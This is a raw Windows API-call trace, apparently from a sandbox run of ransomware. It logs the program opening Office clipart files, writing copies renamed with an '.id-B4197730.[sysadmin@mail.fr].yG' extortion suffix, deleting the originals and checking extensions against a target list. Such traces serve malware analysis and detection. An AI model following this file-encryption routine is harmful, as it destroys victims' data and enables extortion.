	[0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.695] lstrlenW (lpString=".jpg") returned 4
	[0150.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.695] lstrlenW (lpString=".doc") returned 4
	[0150.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.695] lstrlenW (lpString=".docx") returned 5
	[0150.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.695] lstrlenW (lpString=".pdf") returned 4
	[0150.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.696] lstrlenW (lpString=".xls") returned 4
	[0150.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.696] lstrlenW (lpString=".xlsx") returned 5
	[0150.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.696] lstrlenW (lpString=".ppt") returned 4
	[0150.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.696] lstrlenW (lpString=".zip") returned 4
	[0150.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.696] lstrlenW (lpString=".rar") returned 4
	[0150.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.696] lstrlenW (lpString=".bz2") returned 4
	[0150.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.696] lstrlenW (lpString=".7z") returned 3
	[0150.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.696] lstrlenW (lpString=".dbf") returned 4
	[0150.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.696] lstrlenW (lpString=".1cd") returned 4
	[0150.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0150.696] lstrlenW (lpString=".jpg") returned 4
	[0150.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.697] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.697] lstrlenW (lpString="HH00685_.WMF") returned 12
	[0150.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0150.697] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=4032) returned 1
	[0150.697] CloseHandle (hObject=0x54c) returned 1
	[0150.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220
	[0150.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0150.698] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.698] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0150.699] GetLastError () returned 0x0
	[0150.699] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xfc0, lpOverlapped=0x0) returned 1
	[0150.701] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xfd0, lpOverlapped=0x0) returned 1
	[0150.704] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.704] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.704] SetEndOfFile (hFile=0x548) returned 1
	[0150.704] CloseHandle (hObject=0x548) returned 1
	[0150.704] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.704] SetEndOfFile (hFile=0x54c) returned 1
	[0150.708] CloseHandle (hObject=0x54c) returned 1
	[0150.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1
	[0150.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.709] lstrlenW (lpString=".doc") returned 4
	[0150.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.709] lstrlenW (lpString=".docx") returned 5
	[0150.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.709] lstrlenW (lpString=".pdf") returned 4
	[0150.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.709] lstrlenW (lpString=".xls") returned 4
	[0150.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.709] lstrlenW (lpString=".xlsx") returned 5
	[0150.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.709] lstrlenW (lpString=".ppt") returned 4
	[0150.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.710] lstrlenW (lpString=".zip") returned 4
	[0150.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.710] lstrlenW (lpString=".rar") returned 4
	[0150.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.710] lstrlenW (lpString=".bz2") returned 4
	[0150.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.710] lstrlenW (lpString=".7z") returned 3
	[0150.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.710] lstrlenW (lpString=".dbf") returned 4
	[0150.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.710] lstrlenW (lpString=".1cd") returned 4
	[0150.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.710] lstrlenW (lpString=".jpg") returned 4
	[0150.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.711] lstrlenW (lpString=".doc") returned 4
	[0150.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.711] lstrlenW (lpString=".docx") returned 5
	[0150.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.711] lstrlenW (lpString=".pdf") returned 4
	[0150.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.711] lstrlenW (lpString=".xls") returned 4
	[0150.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.711] lstrlenW (lpString=".xlsx") returned 5
	[0150.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.711] lstrlenW (lpString=".ppt") returned 4
	[0150.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.711] lstrlenW (lpString=".zip") returned 4
	[0150.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.711] lstrlenW (lpString=".rar") returned 4
	[0150.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.711] lstrlenW (lpString=".bz2") returned 4
	[0150.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.711] lstrlenW (lpString=".7z") returned 3
	[0150.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.711] lstrlenW (lpString=".dbf") returned 4
	[0150.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.711] lstrlenW (lpString=".1cd") returned 4
	[0150.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0150.712] lstrlenW (lpString=".jpg") returned 4
	[0150.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.712] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.712] lstrlenW (lpString="HH00687_.WMF") returned 12
	[0150.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0150.713] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=4340) returned 1
	[0150.713] CloseHandle (hObject=0x54c) returned 1
	[0150.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220
	[0150.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0150.715] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.715] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0150.716] GetLastError () returned 0x0
	[0150.716] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x10f4, lpOverlapped=0x0) returned 1
	[0151.019] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1100, lpOverlapped=0x0) returned 1
	[0151.046] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.046] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.046] SetEndOfFile (hFile=0x548) returned 1
	[0151.046] CloseHandle (hObject=0x548) returned 1
	[0151.046] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.046] SetEndOfFile (hFile=0x54c) returned 1
	[0151.049] CloseHandle (hObject=0x54c) returned 1
	[0151.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1
	[0151.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.333] lstrlenW (lpString=".doc") returned 4
	[0151.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.333] lstrlenW (lpString=".docx") returned 5
	[0151.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.333] lstrlenW (lpString=".pdf") returned 4
	[0151.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.333] lstrlenW (lpString=".xls") returned 4
	[0151.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.333] lstrlenW (lpString=".xlsx") returned 5
	[0151.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.334] lstrlenW (lpString=".ppt") returned 4
	[0151.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.334] lstrlenW (lpString=".zip") returned 4
	[0151.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.334] lstrlenW (lpString=".rar") returned 4
	[0151.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.334] lstrlenW (lpString=".bz2") returned 4
	[0151.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.334] lstrlenW (lpString=".7z") returned 3
	[0151.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.334] lstrlenW (lpString=".dbf") returned 4
	[0151.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.334] lstrlenW (lpString=".1cd") returned 4
	[0151.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.334] lstrlenW (lpString=".jpg") returned 4
	[0151.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.335] lstrlenW (lpString=".doc") returned 4
	[0151.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.335] lstrlenW (lpString=".docx") returned 5
	[0151.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.335] lstrlenW (lpString=".pdf") returned 4
	[0151.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.335] lstrlenW (lpString=".xls") returned 4
	[0151.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.335] lstrlenW (lpString=".xlsx") returned 5
	[0151.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.335] lstrlenW (lpString=".ppt") returned 4
	[0151.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.335] lstrlenW (lpString=".zip") returned 4
	[0151.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.335] lstrlenW (lpString=".rar") returned 4
	[0151.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.335] lstrlenW (lpString=".bz2") returned 4
	[0151.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.335] lstrlenW (lpString=".7z") returned 3
	[0151.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.335] lstrlenW (lpString=".dbf") returned 4
	[0151.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.336] lstrlenW (lpString=".1cd") returned 4
	[0151.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0151.336] lstrlenW (lpString=".jpg") returned 4
	[0151.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.336] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.336] lstrlenW (lpString="HH01923_.WMF") returned 12
	[0151.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.337] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=26706) returned 1
	[0151.337] CloseHandle (hObject=0x54c) returned 1
	[0151.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220
	[0151.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.338] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.338] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0151.338] GetLastError () returned 0x0
	[0151.338] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x6852, lpOverlapped=0x0) returned 1
	[0151.341] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x6860, lpOverlapped=0x0) returned 1
	[0151.343] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.343] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.343] SetEndOfFile (hFile=0x548) returned 1
	[0151.343] CloseHandle (hObject=0x548) returned 1
	[0151.343] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.343] SetEndOfFile (hFile=0x54c) returned 1
	[0151.346] CloseHandle (hObject=0x54c) returned 1
	[0151.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1
	[0151.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.347] lstrlenW (lpString=".doc") returned 4
	[0151.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.347] lstrlenW (lpString=".docx") returned 5
	[0151.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.347] lstrlenW (lpString=".pdf") returned 4
	[0151.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.348] lstrlenW (lpString=".xls") returned 4
	[0151.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.348] lstrlenW (lpString=".xlsx") returned 5
	[0151.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.348] lstrlenW (lpString=".ppt") returned 4
	[0151.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.348] lstrlenW (lpString=".zip") returned 4
	[0151.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.348] lstrlenW (lpString=".rar") returned 4
	[0151.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.348] lstrlenW (lpString=".bz2") returned 4
	[0151.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.348] lstrlenW (lpString=".7z") returned 3
	[0151.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.348] lstrlenW (lpString=".dbf") returned 4
	[0151.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.348] lstrlenW (lpString=".1cd") returned 4
